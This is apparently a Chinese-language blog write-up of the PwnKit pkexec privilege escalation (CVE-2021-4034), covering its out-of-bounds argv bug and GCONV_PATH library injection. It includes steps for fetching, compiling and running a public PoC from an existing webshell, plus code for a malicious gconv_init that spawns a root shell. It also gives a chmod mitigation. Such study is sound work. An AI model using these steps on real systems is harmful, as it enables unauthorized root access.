此引发的环境变量写入。参数处理越界在 Linux 中一个程序的main函数接收两个重要的参数argc参数数量和argv指向参数字符串的指针数组。按照规范argv[0]通常是程序自身的路径argv[argc]必须是一个NULL指针。在调用pkexec时如果攻击者强制传递一个完全为空的数组即argc 0那么argv[0]实际上就是NULL。然而pkexec的代码逻辑假设argc至少为 1。它会尝试读取argv[1]来获取要执行的命令。由于argv[1]已经超出了argv数组的范围根据内存布局它会越界读取到紧随其后的envp环境变量指针数组中的第一个元素。将环境变量误认为路径当pkexec越界读取了第一个环境变量后它会将这个字符串视作一个程序路径。接着pkexec会利用环境变量中的PATH变量去寻找这个路径的绝对位置。如果寻找到匹配项它会将寻找到的绝对路径写回argv[1]。漏洞核心原理二pkexec 是 Linux 桌面系统中一个至关重要的权限管理工具属于 Polkit原名 PolicyKit 系统组件。可以把它理解为一个 “精细化的 sudo”。和 sudo 需要配置 /etc/sudoers 文件不同pkexec 的授权规则由系统和服务预先定义好如允许普通用户执行 fdisk 来分区。为了完成这个提权操作pkexec 程序文件本身被设置了 SUID 位这使得它运行时天然具有 root 权限。漏洞的根源在于 pkexec 源代码中对一个基础前提的假设错误和边界检查缺失。在C语言程序中main 函数接收参数的标准形式是int main(int argc, charargv[], charenvp[])。argc命令行参数的数量。 argv参数数组。argv[0] 是程序名自身argv[1] 是第一个真正的参数依此类推。 envp环境变量数组。它在内存中紧跟在 argv 数组之后。pkexec 的代码默认了一个前提argc 的值至少为 1因为至少会有程序名 argv[0]。基于这个前提它在不验证 argc 是否真的大于0的情况下就直接去读取 argv[1]认为这是用户要它执行的那个“命令”。漏洞就在这里如果攻击者能够让 argc 等于 0那么 argv 数组就是空的。当程序试图访问 argv[1] 时实际上会发生 “内存越界读取” —— 它读取到的并不是一个有效的命令行参数而是紧邻着 argv 数组之后的内存内容也就是环境变量数组 envp 的第一个元素 envp[0]。简单总结成因pkexec 错误地将攻击者可控的环境变量当成了要执行的命令参数利用 GCONV_PATH 注入恶意库1污染参数攻击者精心设置一个名为 GCONV_PATH 的环境变量值为一个恶意路径如 /tmp/evil。当 argc0 时这个字符串就被 pkexec 当作 argv[1] 来解析。2逻辑触发pkexec 在处理这个“参数”时如果发现路径有问题会调用 g_printerr() 函数打印错误信息。这个函数为了支持多语言国际化需要进行字符集转换。3路径劫持字符集转换的模块加载路径恰恰由 GCONV_PATH 这个环境变量控制。而在之前的逻辑中pkexec 已经将这个环境变量设置成了攻击者提供的恶意路径因为它以为那是 argv[1] 的一部分。3恶意代码执行当 g_printerr() 触发字符集转换时它会去加载恶意路径下的“转换模块”。这个“模块”实际上是攻击者提前放置的一个恶意共享库.so文件。系统会执行这个库的初始化函数。4完成提权由于整个 pkexec 进程是以 root 权限SUID 运行的它加载执行的恶意代码也自然继承了 root 权限。至此攻击者便从普通用户身份完整地获取了系统的最高控制权注意事项【1】pkexec程序文件本身被设置了SUID 位这使得它运行时天然具有 root 权限临时修复取消pkexec程序特权chmod 0755 /usr/bin/pkexec #chmod 4755 /usr/bin/pkexec可以赋予suid【2】查看pkexec有无suid有才能被利用ls -la /usr/bin/pkexec应该显示-rwsr-xr-x有s位【3】当看到/usr/bin/pkexec和/usr/lib/policykit-1/polkit-agent-helper-1时经验丰富的渗透测试员会立刻联想到PwnKit实战【1】已经获取到了靶机的webshell要进行下一步的提权先进入到/tmp目录下载CVE-2021-4034 Linux 系统上的 Polkit 权限提升漏洞的PoC文件wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz【2】解压poc脚本tar -zxvf main.tar.gz【3】编译poccd /CVE-2021-4043-main/ make【4】执行poc提权再输入whoami输出为root则成功./cve-2021-4034注我这里打靶最后一步老是报错如下在github上面换了好几个脚本都不行最后执行PwnKit.c(微信上面找的)就可以了用法编译完成之后执行这里注意需要cd到/tmp目录执行否则加权限也不能执行【1】先上传PwnKit.c脚本到/tmp执行编译gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC【2】此时本地会生成一个PwnKit的可执行文件chmod X PwnKit ./PwnKit 要执行的命令 #注这里只能通过 ./PwnKit 要执行的命令 来提升到root也就是要执行root命令就只能用上面的pwnkitpkexec 本地提权漏洞介绍CVE-2021-4034 - Ditro讲的也很好pkexec 是什么pkexec本身是一个类似于sudo的SUID-root程序即以root身份运行它的功能可以看 man 手册NAME pkexec - Execute a command as another user SYNOPSIS pkexec [--version] [--disable-internal-agent] [--help] pkexec [--user username] PROGRAM [ARGUMENTS...] DESCRIPTION pkexec allows an authorized user to execute PROGRAM as another user. If PROGRAM is not specified, the default shell will be run. If username is not specified, then the program will be executed as the administrative super user, root.从摘要synopsis一栏中我们知道pkexec有一个可选选项--user用于指定执行程序的用户身份一个必选的参数PROGRAM代表要执行的程序以及随后的传递给PROGRAM的可选参数列表ARGUMENTS...。漏洞成因pkexec对命令行参数的解析处理不当是 pwnkit 漏洞的主要诱因。其main()函数如下435 main (int argc, char *argv[]) 436 { ... 534 for (n 1; n (guint) argc; n) 535 { ... 568 } ... 610 path g_strdup (argv[n]); ... 629 if (path[0] ! /) 630 { ... 632 s g_find_program_in_path (path); ... 639 argv[n] path s; 640 }这段代码先会遍历argv处理命令行参数534-569行由于在常见的情况下argc至少为 1此时argv[0]是程序名自身因此编码的时候从n 1开始遍历。然后如果想要执行的程序不是一个绝对路径那么它就会在PATH环境变量中搜索定位该程序610-640行。不幸的是完全可以在调用execve时, 以NULL作为execve的argv参数。这样被启动的程序的argc就为 0。进一步被启动程序的argv[0]也就会是NULL。那么第534行n会因为不满足n argc而被永远地设置为 1第610行argv[n]自然就是argv[1]这就是一个越界读第639行argv[1]会被越界写成指针s其中s是找到的程序路径所以问题的关键就在于越界读读到的argv[1]到底是什么为了说清这个问题这里需要做一些必要的介绍。当我们通过execve()去执行一个新程序时内核首先将参数argv和环境变量envp列表拷贝到程序的栈上。正常的情况应该是像下面这样需要注意的是argv和envp指针在内存中的布局是连续的。因此如果argc为 0那么越界的argv[1]实际上是envp[0]argv[1]也就是指向了环境变量的第一个变量这里的value。造成的结果就是第 610 行用于决定要执行程序的路径的变量path实际上是读取的argv[1] envp[0] value第 632 行由于path并不是一个相对路径629行判断因此path value就传递给g_find_program_in_path()函数g_find_program_in_path()函数在PATH环境变量中搜索名为value的可执行文件如果找到了那么它的完整路径就返回给pkexec的main()函数第 639 行通过argv[1]也就是envp[0]的越界写完整路径覆盖了首个环境变量。如果说得再清楚一点就是如果环境变量PATHname并且当前工作目录存在name目录以及名为value的可执行文件那么envp[0]就会最终被越界写为name/value进一步地如果环境变量PATHname.并且当前工作目录存在name.目录并包含了名为value的可执行文件那么envp[0]最终被越界写为name./value观察到什么了么这个越界漏洞允许我们将像LD_PRELOAD这样的“不安全的”环境变量重新引入到pkexec的执行环境中。对于这类 SUID 程序来说在执行main()函数之前通常ld.so会移除这些“不安全的”环境变量。关键就是要如何利用这个强有力的基本操作。利用原理整个漏洞利用过程还是有一些小插曲。尽管我们有一个越界写可以修改envp[0]的值但是pkexec会在随后的702行清除掉环境变量。639 argv[n] path s; ... 657 for (n 0; environment_variables_to_save[n] ! NULL; n) 658 { 659 const gchar *key environment_variables_to_save[n]; ... 662 value g_getenv (key); ... 670 if (!validate_environment_variable (key, value)) ... 675 } ... 702 if (clearenv () ! 0)研究者进一步发现pkexec会调用 GLib GNOME 库而非GNU C 的g_printerr()函数。比如validate_enviornment_variable()以及log_message()都会调用g_printerr()88 log_message (gint level, 89 gboolean print_to_stderr, 90 const gchar *format, 91 ...) 92 { ... 125 if (print_to_stderr) 126 g_printerr (%s\n, s); ------------------------------------------------------------------------ 383 validate_environment_variable (const gchar *key, 384 const gchar *value) 385 { ... 406 log_message (LOG_CRIT, TRUE, 407 The value for the SHELL variable was not found the /etc/shells file); 408 g_printerr (\n 409 This incident has been reported.\n);g_printerr()函数通常是用来打印 UTF-8 编码的错误信息但如果环境变量CHARSET不是 UTF-8 的话该函数也可以处理。当然这个漏洞的过错并不在CHARSET环境变量上。为了将 UTF-8 转化为其它字符集g_printerr()会调用 glibc 的iconv_open()函数对这个是GNU C库的函数。iconv_open()需要依赖一个小型共享库来完成字符集转换。通常来说源字符集from、目标字符集to以及库名称library name三元组所决定的转换规则是从一个默认的配置文件也就是/usr/lib/gconv/gconv-modules中读取的。当然可以也使用GCONV_PATH环境变量去强制iconv_open()函数读取指定的文件。考虑到GCONV_PATH这种可能会导致任意库文件执行的特性它被视作“不安全的”环境变量。这样在执行 SUID 的程序时ld.so会将其移除。现在, 有了pkexec的越界写漏洞我们能够重新引入这些不安全的环境变量。是时候大显身手了。一、准备恶意gconv第一步准备编译恶意的 gconv 共享库。这个恶意程序本身也是一个 SUID 程序在setuid()等调用之后通过execve()为我们启动一个 shellvoid compile_so() { FILE *f fopen(payload.c, wb); if (f NULL) { fatal(fopen); } char so_code[] #include stdio.h\n #include stdlib.h\n #include unistd.h\n void gconv() {\n return;\n }\n void gconv_init() {\n setuid(0); seteuid(0); setgid(0); setegid(0);\n static char *a_argv[] { \sh\, NULL };\n static char *a_envp[] { \PATH/bin:/usr/bin:/sbin\, NULL };\n execve(\/bin/sh\, a_argv, a_envp);\n exit(0);\n }\n; fwrite(so_code, strlen(so_code), 1, f); fclose(f); system(gcc -o payload.so -shared -fPIC payload.c); }二、准备绕过程序搜索第二步要创建GCONV_PATH./lol文件这一步是为了让pkexec()632 行正常返回。三、准备恶意 gconv-modules第三步准备恶意的gconv-modules配置文件见上一章节关于gconv-modules三元组部分引导程序在转换字符集时调用我们写好的 payload 程序module UTF-8// INTERNAL ../payload 2四、准备调用环境第四步准备调用pkexec()的argc与envpchar *a_argv[]{ NULL }; char *a_envp[]{ lol, PATHGCONV_PATH., LC_MESSAGESen_US.UTF-8, XAUTHORITY../LOL, NULL };完事具备只欠东风利用execve调用pkexec提权获得 root shellexecve(/usr/bin/pkexec, a_argv, a_envp);PoC 执行完毕后布局如下$ tree . . ├── blasty-vs-pkexec.c ├── GCONV_PATH. │ └── lol ├── lol │ └── gconv-modules ├── payload.c ├── payload.so └── pkexec-poc